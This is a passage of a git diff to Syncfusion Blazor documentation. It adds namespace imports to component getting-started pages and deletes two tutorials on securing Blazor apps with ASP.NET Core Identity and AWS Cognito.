 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLfWBixUbETBpmk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chat UI default prompt.](images/default-messages.webp)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor Chat UI component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/VDBfMLiHUEAVqRkp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor Chat UI Component](images/chat-ui-component.webp)" %}
+
 
diff --git a/blazor/check-box/getting-started-with-server-app.md b/blazor/check-box/getting-started-with-server-app.md
index ce8eaf76ba..084d61d756 100644
--- a/blazor/check-box/getting-started-with-server-app.md
+++ b/blazor/check-box/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <SfCheckBox Label="Default" @bind-Checked="isChecked"></SfCheckBox>
 
 @code
diff --git a/blazor/check-box/getting-started-with-web-app.md b/blazor/check-box/getting-started-with-web-app.md
index bc8cd65954..dcd1a2fe3d 100644
--- a/blazor/check-box/getting-started-with-web-app.md
+++ b/blazor/check-box/getting-started-with-web-app.md
@@ -169,6 +169,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <SfCheckBox Label="Default" @bind-Checked="isChecked"></SfCheckBox>
 
 @code
diff --git a/blazor/combobox/getting-started-with-server-app.md b/blazor/combobox/getting-started-with-server-app.md
index 1ad8b76293..0633fc36e9 100644
--- a/blazor/combobox/getting-started-with-server-app.md
+++ b/blazor/combobox/getting-started-with-server-app.md
@@ -177,6 +177,8 @@ After initializing, populate the ComboBox with data using the [DataSource](https
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfComboBox TValue="string" TItem="Games" Placeholder="Select a game" DataSource="@LocalData">
     <ComboBoxFieldSettings Value="ID" Text="Text"></ComboBoxFieldSettings>
 </SfComboBox>
diff --git a/blazor/combobox/getting-started-with-web-app.md b/blazor/combobox/getting-started-with-web-app.md
index 2069130c63..586c61f8fc 100644
--- a/blazor/combobox/getting-started-with-web-app.md
+++ b/blazor/combobox/getting-started-with-web-app.md
@@ -185,6 +185,8 @@ After initializing, populate the ComboBox with data using the [DataSource](https
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfComboBox TValue="string" TItem="Games" Placeholder="Select a game" DataSource="@LocalData">
     <ComboBoxFieldSettings Value="ID" Text="Text"></ComboBoxFieldSettings>
 </SfComboBox>
diff --git a/blazor/common/authentication/blazor-asp-net-core-identity.md b/blazor/common/authentication/blazor-asp-net-core-identity.md
deleted file mode 100644
index 0a68a4deb9..0000000000
--- a/blazor/common/authentication/blazor-asp-net-core-identity.md
+++ /dev/null
@@ -1,571 +0,0 @@
----
-title: Blazor Interactive Server with ASP.NET Core Identity | Syncfusion
-description: Guide to configure ASP.NET Core Identity in an Interactive Server Blazor app and protect Syncfusion components (DataGrid, Charts).
-platform: blazor
-component: common
-documentation: ug
----
-
-# Blazor Web App (Interactive Server) with ASP.NET Core Identity
-
-This guide explains how to configure ASP.NET Core Identity in a **Blazor Web App using Interactive Server render mode** and protect Syncfusion® Blazor components such as **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** and **[Charts](https://www.syncfusion.com/blazor-components/blazor-charts)**.
-
-## What is ASP.NET Core Identity?
-
-[ASP.NET Core Identity](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/identity?view=aspnetcore-10.0&tabs=visual-studio) is the built-in membership system for ASP.NET Core apps. It provides UI and APIs for registration, login, logout, password management, roles, claims, and more. In Blazor Web Apps, Microsoft recommends using the Identity Razor Pages for authentication tasks and using Blazor authorization for your components.
-
-## When should I use it in Blazor?
-
-Use Identity when your app needs cookie-based, server-side authentication and you want the standard login/registration experience without building it from scratch. In a Blazor Web App using Interactive Server render mode, all authorization checks happen on the server. This gives strong security because the UI is not shown to the user until authentication is complete.
-
-## Create the sample app
-
-The steps below help you build a secure Blazor Web App using Interactive Server mode. You will set up ASP.NET Core Identity with SQLite and add Syncfusion Blazor components such as the [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) and [Charts](https://www.syncfusion.com/blazor-components/blazor-charts) to pages that require the `[Authorize]` attribute.
-
-### 1. Create a Blazor Web App with Interactive Server
-
-Create a new Blazor Web App configured to use **Interactive Server render mode**. In this mode, the app runs on the server and updates the UI in the browser through a real-time connection, which helps keep your data secure.
-
-`BlazorIdentitySyncfusion` is used as the sample project name in the following commands. Replace it with any project name you prefer.
-
-Run the following commands in your **command-line interface (CLI)**.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet new blazor -o BlazorIdentitySyncfusion --interactivity Server
-cd BlazorIdentitySyncfusion
-
-{% endhighlight %}
-{% endtabs %}
-
-### 2. Install Identity and database packages
-
-Install the necessary NuGet packages that provide ASP.NET Core Identity features and database connectivity. These packages allow your app to store user accounts, manage authentication, and connect to a SQLite database.
-
-**Package overview**
-
-| Package | What it does |
-|---------|--------------|
-| [Microsoft.AspNetCore.Identity.EntityFrameworkCore](https://www.nuget.org/packages/Microsoft.AspNetCore.Identity.EntityFrameworkCore) | Connects Identity to your database via [Entity Framework Core](https://learn.microsoft.com/en-us/ef/core/), enabling storage of users, passwords (hashed), and roles |
-| [Microsoft.AspNetCore.Identity.UI](https://www.nuget.org/packages/Microsoft.AspNetCore.Identity.UI) | Provides ready-made login, registration, and account management pages (Razor Pages) so you don't have to build them from scratch |
-| [Microsoft.EntityFrameworkCore.Sqlite](https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Sqlite) | SQLite database provider. A lightweight database stored as a single file, perfect for development and small applications |
-| [Microsoft.EntityFrameworkCore.Design](https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Design) | Tools for creating and managing database schema changes (migrations) |
-| [Microsoft.EntityFrameworkCore.Tools](https://www.nuget.org/packages/Microsoft.EntityFrameworkCore.Tools) | Adds the `dotnet ef` command-line tool for running migration commands |
-| [Microsoft.VisualStudio.Web.CodeGeneration.Design](https://www.nuget.org/packages/Microsoft.VisualStudio.Web.CodeGeneration.Design) | Scaffolding tool for customizing Identity Razor Pages (e.g., to override the default login page design) |
-
-Run the following commands inside your project folder.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet add package Microsoft.AspNetCore.Identity.EntityFrameworkCore
-dotnet add package Microsoft.AspNetCore.Identity.UI
-dotnet add package Microsoft.EntityFrameworkCore.Sqlite
-dotnet add package Microsoft.EntityFrameworkCore.Design
-dotnet add package Microsoft.EntityFrameworkCore.Tools
-dotnet add package Microsoft.VisualStudio.Web.CodeGeneration.Design
-
-{% endhighlight %}
-{% endtabs %}
-
-### 3. Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor component packages
-
-Add Syncfusion Blazor packages to your project. These packages provide UI components like DataGrid and Charts that you'll use on protected pages.
-
-Run the following commands in the project folder (where the `.csproj` file is located).
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet add package Syncfusion.Blazor.Grid
-dotnet add package Syncfusion.Blazor.Charts
-dotnet add package Syncfusion.Blazor.Themes
-
-{% endhighlight %}
-{% endtabs %}
-
-### 4. Create the database context for Identity users
-
-Create the **ApplicationDbContext** class that connects ASP.NET Core Identity to your database. This class tells [Entity Framework Core](https://learn.microsoft.com/en-us/ef/core/) how to store and manage Identity data such as users, passwords, and roles.
-
-Create a folder named `Data` in the project root (same level as `Program.cs`). Inside that folder, create a file named `ApplicationDbContext.cs` and add the following code.
-
-{% tabs %}
-{% highlight c# tabtitle="Data/ApplicationDbContext.cs" %}
-
-using Microsoft.AspNetCore.Identity;
-using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
-using Microsoft.EntityFrameworkCore;
-
-namespace BlazorIdentitySyncfusion.Data;
-
-// Database context for ASP.NET Core Identity (users, roles, claims, etc.)
-public class ApplicationDbContext : IdentityDbContext<IdentityUser>
-{
-    public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options)
-        : base(options) { }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> `IdentityDbContext<IdentityUser>` uses the default `IdentityUser` class. You can replace `IdentityUser` with a custom user class (e.g., `ApplicationUser : IdentityUser`) if you need additional properties like `FullName` or `Department`.
-
-### 5. Configure the SQLite connection string
-
-Set up the connection string that tells your app where the `SQLite` database should be created. Entity Framework Core uses this connection string to store Identity data.
-
-Open `appsettings.json` and add the `ConnectionStrings` section.
-
-{% tabs %}
-{% highlight json tabtitle="appsettings.json" %}
-
-{
-  "ConnectionStrings": {
-    "DefaultConnection": "Data Source=blazor_identity.db"
-  },
-  "Logging": {
-    "LogLevel": {
-      "Default": "Information",
-      "Microsoft.AspNetCore": "Warning"
-    }
-  },
-  "AllowedHosts": "*"
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> SQLite is a simple, file-based database that stores all data in one `.db` file. It is easy to use and works well for development, testing, and learning. For production apps with many users or heavy traffic, consider switching to SQL Server, PostgreSQL, or MySQL.
-
-**Security Warning**: Add `*.db` to your `.gitignore` file to avoid committing the database file (which contains hashed passwords and personal data) to source control.
-
-### 6. Configure application services and middleware
-
-Configure your application by registering essential services and middleware in `Program.cs`. This is the central configuration file where you:
-- Connect to the database.
-- Enable Identity authentication.
-- Register Syncfusion components.
-- Configure the request processing pipeline.
-
-Open `Program.cs` and replace its contents with the following snippets where appropriate.
-
-{% tabs %}
-{% highlight c# tabtitle="Program.cs" %}
-
-...
-using BlazorIdentitySyncfusion.Data;
-using Microsoft.AspNetCore.Identity;
-using Microsoft.EntityFrameworkCore;
-using Syncfusion.Blazor;
-...
-// Configure EF Core to use SQLite for Identity data.
-builder.Services.AddDbContext<ApplicationDbContext>(options =>
-    options.UseSqlite(builder.Configuration.GetConnectionString("DefaultConnection")));
-
-// Configure Identity with the default UI.
-builder.Services
-    .AddDefaultIdentity<IdentityUser>(options =>
-    {
-        // Email confirmation is disabled for demo purposes; enable and configure an email sender in production.
-        options.SignIn.RequireConfirmedAccount = false;
-    })
-    .AddEntityFrameworkStores<ApplicationDbContext>();
-
-// Add Razor Pages (includes Identity UI).
-builder.Services.AddRazorPages();
-
-// Enable Blazor authentication state support for CascadingAuthenticationState and AuthorizeRouteView.
-builder.Services.AddCascadingAuthenticationState();
-
-// Register Syncfusion Blazor services.
-builder.Services.AddSyncfusionBlazor();
-...
-
-// Serve static files and enable endpoint routing.
-app.UseStaticFiles();
-app.UseRouting();
-
-// Enable authentication and authorization middleware (order matters).
-app.UseAuthentication();
-app.UseAuthorization();
-
-// Enable antiforgery middleware (required for Identity Razor Pages login/logout forms in .NET 8+).
-app.UseAntiforgery();
-
-// Map Razor Pages endpoints (includes Identity UI).
-app.MapRazorPages();
-...
-
-{% endhighlight %}
-{% endtabs %}
-
-### 7. Import authorization and Syncfusion<sup style="font-size:70%">&reg;</sup> namespaces
-
-Add the required namespaces in `Components/_Imports.razor`. These namespaces allow you to use authorization features such as `[Authorize]` and `<AuthorizeView>`, and they enable Syncfusion components in your Blazor pages.
-
-{% tabs %}
-{% highlight razor tabtitle="Components/_Imports.razor" %}
-
-@using Microsoft.AspNetCore.Authorization
-@using Microsoft.AspNetCore.Components.Authorization
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Charts
-
-{% endhighlight %}
-{% endtabs %}
-
-### 8. Add Syncfusion<sup style="font-size:70%">&reg;</sup> styles and script resources
-
-Before adding the Syncfusion theme stylesheet, ensure that no other Syncfusion theme CSS (e.g., `material.css`, `fluent.css`) is already referenced to avoid styling conflicts.
-
-Open `App.razor` and add the following to the `<head>` and `<body>` sections.
-
-{% tabs %}
-{% highlight razor tabtitle="App.razor" %}
-
-<!-- Syncfusion theme stylesheet -->
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-
-<!-- Syncfusion Blazor core script -->
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-{% endhighlight %}
-{% endtabs %}
-
-### 9. Create the `_LoginPartial.cshtml` file for Identity UI
-
-The `_LoginPartial.cshtml` file displays login, logout, register, and account management links for ASP.NET Core Identity. It appears in the navigation bar and automatically updates based on the user's sign-in status.
-
-In the project root (next to `Program.cs`), create a `Pages` folder and add a `Shared` subfolder. Inside the `Shared` folder, create a file named `_LoginPartial.cshtml` and add the following content.
-
-{% tabs %}
-{% highlight cshtml tabtitle="Pages/Shared/_LoginPartial.cshtml" %}
-
-@using Microsoft.AspNetCore.Identity
-@inject SignInManager<IdentityUser> SignInManager
-@inject UserManager<IdentityUser> UserManager
-
-<ul class="navbar-nav">
-@if (SignInManager.IsSignedIn(User))
-{
-    <li class="nav-item">
-        <a class="nav-link text-dark" asp-area="Identity" asp-page="/Account/Manage/Index" title="Manage">
-            Hello @User.Identity?.Name!
-        </a>
-    </li>
-    <li class="nav-item">
-        <form class="form-inline" asp-area="Identity" asp-page="/Account/Logout"
-              asp-route-returnUrl="~/" method="post">
-            <button type="submit" class="nav-link btn btn-link text-dark">Logout</button>
-        </form>
-    </li>
-}
-else
-{
-    <li class="nav-item">
-        <a class="nav-link text-dark" asp-area="Identity" asp-page="/Account/Register">Register</a>
-    </li>
-    <li class="nav-item">
-        <a class="nav-link text-dark" asp-area="Identity" asp-page="/Account/Login">Login</a>
-    </li>
-}
-</ul>
-
-
-{% endhighlight %}
-{% endtabs %}
-
-Create a file named `_ViewImports.cshtml` inside the `Pages` folder and add the following code. This enables Tag Helpers for all Razor Pages, including the Identity UI pages.
-
-{% tabs %}
-{% highlight cshtml tabtitle="Pages/_ViewImports.cshtml" %}
-
-@addTagHelper *, Microsoft.AspNetCore.Mvc.TagHelpers
-
-{% endhighlight %}
-{% endtabs %}
-
-### 10. Configure the Blazor router with authorization support
-
-To apply authorization for Blazor components, update the router in `App.razor`. This ensures that pages marked with `[Authorize]` require authentication before rendering.
-
-Replace the existing `<body>` section in `App.razor` with the following:
-
-* Wrap the router in `<CascadingAuthenticationState>` so Blazor can pass authentication information to all components.
-* Replace `<RouteView>` with `<AuthorizeRouteView>` so pages can show different content based on the user's sign-in status.
-* Keep the `<NotAuthorized>` and `<Authorizing>` sections to display messages to the user when needed.
-
-{% tabs %}
-{% highlight razor tabtitle="App.razor" %}
-
-<body>
-    <CascadingAuthenticationState>
-        <Router AppAssembly="@typeof(App).Assembly">
-            <Found Context="routeData">
-                <AuthorizeRouteView RouteData="@routeData" DefaultLayout="@typeof(MainLayout)">
-                    <NotAuthorized>
-                        <p class="mt-3">
-                            You are not authorized. Please
-                            <a href="/Identity/Account/Login">log in</a>.
-                        </p>
-                    </NotAuthorized>
-                    <Authorizing>
-                        <p>Authorizing...</p>
-                    </Authorizing>
-                </AuthorizeRouteView>
-                <FocusOnNavigate RouteData="@routeData" Selector="h1" />
-            </Found>
-            <NotFound>
-                <LayoutView Layout="@typeof(MainLayout)">
-                    <p>Sorry, there’s nothing at this address.</p>
-                </LayoutView>
-            </NotFound>
-        </Router>
-    </CascadingAuthenticationState>
-
-    <ReconnectModal />
-    ...
-
-</body>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> `<ReconnectModal />` is a custom component for handling SignalR reconnection UI. If your template does not include it, you can omit this line.
-
-### 11. Add authentication UI to the main layout
-
-Update your main layout to display authentication options in the header. The `<AuthorizeView>` component will display different links depending on whether the user is signed in. This gives users an easy way to access login, logout, register, or manage account pages.
-
-Open `Components/Layout/MainLayout.razor` and replace its content with the following. 
-
-N> This example uses Bootstrap classes (`d-flex`, `ms-auto`, `gap-3`). If your project uses different styling, adjust the CSS classes accordingly.
-
-{% tabs %}
-{% highlight razor tabtitle="MainLayout.razor" %}
-
-@inherits LayoutComponentBase
-@using Microsoft.AspNetCore.Components.Authorization
-
-<div class="page">
-    <div class="sidebar">
-        <NavMenu />
-    </div>
-
-    <main>
-        <div class="top-row px-4 d-flex align-items-center">
-            <a href="https://learn.microsoft.com/aspnet/core/" target="_blank">About</a>
-
-            <div class="ms-auto d-flex gap-3">
-                <AuthorizeView>
-                    <Authorized>
-                        <span class="navbar-text">Hello @context.User.Identity?.Name</span>
-                        <a class="nav-link text-dark" href="/Identity/Account/Manage/Index" title="Manage">Manage</a>
-                        <a class="nav-link text-dark" href="/Identity/Account/Logout">Logout</a>
-                    </Authorized>
-
-                    <NotAuthorized>
-                        <a class="nav-link text-dark" href="/Identity/Account/Login">Login</a>
-                        <a class="nav-link text-dark" href="/Identity/Account/Register">Register</a>
-                    </NotAuthorized>
-                </AuthorizeView>
-            </div>
-        </div>
-
-        <article class="content px-4">
-            @Body
-        </article>
-    </main>
-</div>
-
-<div id="blazor-error-ui" data-nosnippet>
-    An unhandled error has occurred.
-    <a href="." class="reload">Reload</a>
-    <span class="dismiss">🗙</span>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-### 12. Create the secure Syncfusion<sup style="font-size:70%">&reg;</sup> DataGrid and Charts pages
-
-Create two protected pages using `[Authorize]` that display Syncfusion DataGrid and Charts components. The generated components will use the default namespace `BlazorIdentitySyncfusion.Components.Pages`. If needed, adjust the `@namespace` directive in the generated files.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet new razorcomponent -n SecureGrid -o Components/Pages
-dotnet new razorcomponent -n SecureChart -o Components/Pages
-
-{% endhighlight %}
-{% endtabs %}
-
-**Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid component**
-
-This component displays a sample order list using Syncfusion's DataGrid. The `@attribute [Authorize]` directive ensures only authenticated users can access this page.
-
-{% tabs %}
-{% highlight razor tabtitle="SecureGrid.razor" %}
-
-@page "/secure-grid"
-@attribute [Authorize]
-@rendermode InteractiveServer
-
-<PageTitle>Secure Grid</PageTitle>
-<h1>Orders (Authorized users only)</h1>
-
-<SfGrid DataSource="@Orders">
-    <GridColumns>
-        <GridColumn Field=@nameof(Order.OrderID) HeaderText="Order ID" TextAlign="TextAlign.Right" Width="120" />
-        <GridColumn Field=@nameof(Order.CustomerID) HeaderText="Customer" Width="150" />
-        <GridColumn Field=@nameof(Order.OrderDate) HeaderText="Order Date" Format="d" Type="ColumnType.Date" Width="140" />
-        <GridColumn Field=@nameof(Order.Freight) HeaderText="Freight" Format="C2" TextAlign="TextAlign.Right" Width="120" />
-    </GridColumns>
-</SfGrid>
-
-@code {
-    public List<Order> Orders { get; set; } = default!;
-
-    protected override void OnInitialized()
-    {
-        Orders = Enumerable.Range(1, 12).Select(i => new Order {
-            OrderID = 1000 + i,
-            CustomerID = new[] { "ALFKI","ANATR","ANTON","BLONP","BOLID" }[Random.Shared.Next(5)],
-            OrderDate = DateTime.Today.AddDays(-i),
-            Freight = Math.Round(25 + 15 * Random.Shared.NextDouble(), 2)
-        }).ToList();
-    }
-
-    public class Order
-    {
-        public int OrderID { get; set; }
-        public string? CustomerID { get; set; }
-        public DateTime OrderDate { get; set; }
-        public double Freight { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-**Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts component**
-
-This component displays a column chart showing monthly sales data.
-
-{% tabs %}
-{% highlight razor tabtitle="SecureChart.razor" %}
-
-@page "/secure-chart"
-@attribute [Authorize]
-@rendermode InteractiveServer
-
-<PageTitle>Secure Chart</PageTitle>
-<h1>Monthly Sales (Authorized users only)</h1>
-
-<SfChart Title="Sales (USD)">
-    <ChartPrimaryXAxis ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="Data"
-                     XName="Month" YName="Amount"
-                     Type="Syncfusion.Blazor.Charts.ChartSeriesType.Column"
-                     Name="Sales" />
-    </ChartSeriesCollection>
-</SfChart>
-
-@code {
-    public List<Point> Data { get; set; } = new()
-    {
-        new("Jan", 42500), new("Feb", 39100), new("Mar", 45900),
-        new("Apr", 54400), new("May", 49350), new("Jun", 61200)
-    };
-
-    public record Point(string Month, double Amount);
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### 13. Add secure links to the left navigation menu
-
-Update the navigation menu to include links to the secured pages. This makes them easily accessible from any page in the application. When users click these links, they'll be able to access the pages if logged in, or will be prompted to log in if they're not authenticated.
-
-Open `Components/Layout/NavMenu.razor` and add the following navigation items after the existing menu links.
-
-{% tabs %}
-{% highlight razor tabtitle="Layout/NavMenu.razor" %}
-...
-
-<div class="nav-item px-3">
-    <NavLink class="nav-link" href="secure-grid">
-        <span class="bi bi-list-nested" aria-hidden="true"></span> Secure Grid
-    </NavLink>
-</div>
-
-<div class="nav-item px-3">
-    <NavLink class="nav-link" href="secure-chart">
-        <span class="bi bi-list-nested" aria-hidden="true"></span> Secure Chart
-    </NavLink>
-</div>
-
-{% endhighlight %}
-{% endtabs %}
-
-### 14. Generate and apply EF Core migrations
-
-Create the database tables required for ASP.NET Core Identity by running Entity Framework Core migrations. Migrations generate the schema and apply it to your SQLite database.
-
-If you have not installed the EF Core command-line tools, install them first.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet tool install --global dotnet-ef 
-
-{% endhighlight %}
-{% endtabs %}
-
-Then create the migration and update the database.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet ef migrations add CreateIdentitySchema
-dotnet ef database update
-
-{% endhighlight %}
-{% endtabs %}
-
-After these commands run, the SQLite database will include the Identity tables such as `AspNetUsers`, `AspNetRoles`, and others used for authentication.
-
-N> If you receive an error that a migration with this name already exists, you can either delete the existing migration or choose a different name such as `InitialIdentitySetup`.
-
-### 15. Run the application and validate authentication flow
-
-Run the application and verify the authentication flow.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet run
-
-{% endhighlight %}
-{% endtabs %}
-
-1. Open a browser and navigate to the URL shown in the terminal output (typically `https://localhost:5001` or `https://localhost:7xxx`).
-2. Click **Secure Grid** or **Secure Chart** in the left navigation.
-3. You will be redirected to the Identity login page (`/Identity/Account/Login`) because you are not authenticated.
-4. Click **Register** and create a new account (email and password).
-5. After registration, you will be automatically logged in.
-6. Navigate back to **Secure Grid** or **Secure Chart** - the pages should now render successfully with Syncfusion components.
-7. Click **Logout** to end the session and verify that accessing the secure pages redirects back to the login page.
-
-**Output:**
-![Blazor DataGrid and Charts with ASP.NET Core Identity](./images/asp-net-identity.webp)
-
-## See also
-
-* [Getting started with Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app)
-* [Getting started with Syncfusion Blazor Charts](https://blazor.syncfusion.com/documentation/chart/getting-started-with-web-app)
\ No newline at end of file
diff --git a/blazor/common/authentication/blazor-aws-cognito.md b/blazor/common/authentication/blazor-aws-cognito.md
deleted file mode 100644
index 91298cf502..0000000000
--- a/blazor/common/authentication/blazor-aws-cognito.md
+++ /dev/null
@@ -1,447 +0,0 @@
----
-layout: post
-title: Blazor with AWS Cognito Authentication | Syncfusion
-description: Authenticate a Blazor Server app with AWS Cognito (OIDC Hosted UI) and secure Syncfusion components.
-platform: Blazor
-control: Common
-documentation: ug
----
-
-# Blazor Authentication with AWS Cognito using Syncfusion® Components
-
-This guide demonstrates how to integrate [AWS Cognito authentication](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-how-to-authenticate.html) with a [Syncfusion Blazor components](https://www.syncfusion.com/blazor-components).
-
-## What is AWS?
-
-[Amazon Web Services (AWS)](https://aws.amazon.com/what-is-aws/) is a cloud platform providing compute, storage, and identity services. For Blazor developers, its key identity service is Amazon Cognito, which handles sign-up, sign-in, Multi-Factor Authentication (MFA), token issuance, and issuing temporary AWS credentials through AWS Identity and Access Management (IAM). Cognito also exposes a managed login interface (Hosted UI) and standard OpenID Connect (OIDC) endpoints.
-
-## Why Amazon Cognito for Blazor?
-
-* Standard OIDC integrates directly with ASP.NET Core's built-in OpenID Connect middleware for Blazor Server. This is the Microsoft recommended approach and requires no third-party authentication libraries.
-* Supports login with MFA and password policies, reducing custom auth UI work.
-* Emits `cognito:groups` in tokens for role-based authorization in your app and API.
-* Identity pools can exchange a user's ID token for time limited AWS credentials to call S3, DynamoDB, etc.
-
-## Cognito building blocks
-
-* **User pools:** Managed user directory + OIDC authorization server (tokens, hosted UI, MFA, groups). Use this to authenticate users and obtain ID/Access tokens for your app and APIs.
-* **Identity pools (Federated Identities):** Optional service that exchanges a trusted identity for example user pool ID token for temporary AWS credentials through IAM roles. Use this when the server must call AWS services (such as Amazon S3 and Amazon DynamoDB) on behalf of the user.
-
-## Password policies
-
-In **user pool → sign-in experience**:
-* Configure **password policy** (length, complexity, expiration).
-* Set MFA to Off, Optional, or Required. Choose **SMS** or **TOTP** enrollment.
-* Hosted UI prompts users according to your policy.
-
-## Role-based authorization with Cognito groups
-
-* Create groups (e.g., `Admin`) in **user pool → Groups** and add users.
-* Ensure **Group membership** is included in tokens.
-* Map roles using `RoleClaimType = "cognito:groups"` and protect pages/endpoints with `[Authorize(Roles="Admin")]`.
-
-## Prerequisites
-
-* [.NET SDK](https://dotnet.microsoft.com/en-us/download/visual-studio-sdks) 8.0 or later (this guide uses .NET 10)
-* [Visual Studio](https://visualstudio.microsoft.com/downloads/) 2022 or later or [Visual Studio Code](https://code.visualstudio.com/) with [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension
-* [AWS Account with permission to manage Cognito](https://docs.aws.amazon.com/accounts/latest/reference/manage-acct-creating.html)
-
-## Integrating Cognito with Blazor
-
-### Create a Blazor project
-
-If you already have a Blazor project, proceed to the **Install required packages** section. Otherwise, create one using Syncfusion getting started guides for [Blazor Server](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) or [Blazor Web App](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app).
-
-### Install required packages
-
-To enable authentication and use Syncfusion Blazor components, install the required packages through NuGet Package Manager (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*).
-
-**Syncfusion packages**
-
-* [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
-* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
-
-**Microsoft package**
-
-* [Microsoft.AspNetCore.Authentication.OpenIdConnect](https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.OpenIdConnect)
-
-Alternatively, you can install the required packages by using the following .NET CLI commands.
-
-{% tabs %}
-{% highlight bash tabtitle=".NET CLI" %}
-
-dotnet add package Microsoft.AspNetCore.Authentication.OpenIdConnect
-dotnet add package Syncfusion.Blazor.Grid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add required namespaces
-
-Open the `~/_Imports.razor` file and import the `Syncfusion.Blazor`, `Syncfusion.Blazor.Grids` namespaces.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-
-{% endhighlight %}
-{% endtabs %}
-
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
-
-Add the Syncfusion Blazor service to the `~/Program.cs` file to enable Syncfusion components in the application.
-
-{% tabs %}
-{% highlight razor tabtitle="~/Program.cs" %}
-
-...
-using Syncfusion.Blazor;
-...
-builder.Services.AddSyncfusionBlazor();
-...
-
-{% endhighlight %}
-{% endtabs %}
-
-### Create a Cognito user pool
-
-Before building the Blazor app, set up an AWS Cognito user pool:
-
-1. Go to **AWS Management Console** > **Amazon Cognito**.
-2. Click **Create user pool**.
-3. Choose application type as **Traditional Web Application** (even though this is a Blazor app, Cognito categorizes web-based apps here).
-4. Set your application name.
-5. Choose authentication method: **Email** or **Phone number** (or both).
-6. Continue through the setup wizard and confirm your settings. Once ready, click the button to **Create User Directory**.
-7. Go to **Amazon Cognito** > **User pools**. Note the **User pool ID** and **User pool name**.
-8. Go to **App integration** > **App clients**.
-9. Click **Create app client**:
-   - **App type:** Choose **Public client** (for PKCE without a secret).
-   - **Client name:** (for example, `MyBlazorServer`).
-   - **Authentication flows:** Ensure **Authorization code flow** is selected.
-   - Under **Allowed redirect URIs**, add: `https://localhost:7000/signin-oidc` (adjust port if different; check `Properties/launchSettings.json`).
-   - Under **Allowed sign-out URIs**, add: `https://localhost:7000/signout-callback-oidc`.
-10. Verify that in **App integration** → **hosted UI**:
-   - "Hosted UI" is **enabled**
-   - "Callback URLs" includes your app redirect URI
-
-You now have the values to add to `appsettings.json`.
-
-### Update `appsettings.json` file
-
-This stores your Cognito hosted UI domain and app client ID so the app can read them at startup. The `Authority` is the base URL of your Cognito user pool domain, and `ClientId` identifies your web app in Cognito. Keep these out of code to simplify environment changes. Replace the placeholders with your actual Cognito values.
-
-{% tabs %}
-{% highlight json tabtitle="appsettings.json" %}
-
-{
-  "Cognito": {
-    "Authority": "https://your-domain.auth.{REGION}.amazoncognito.com",
-    "ClientId": "YOUR_APP_CLIENT_ID"
-  },
-  "AllowedHosts": "*"
-}
-
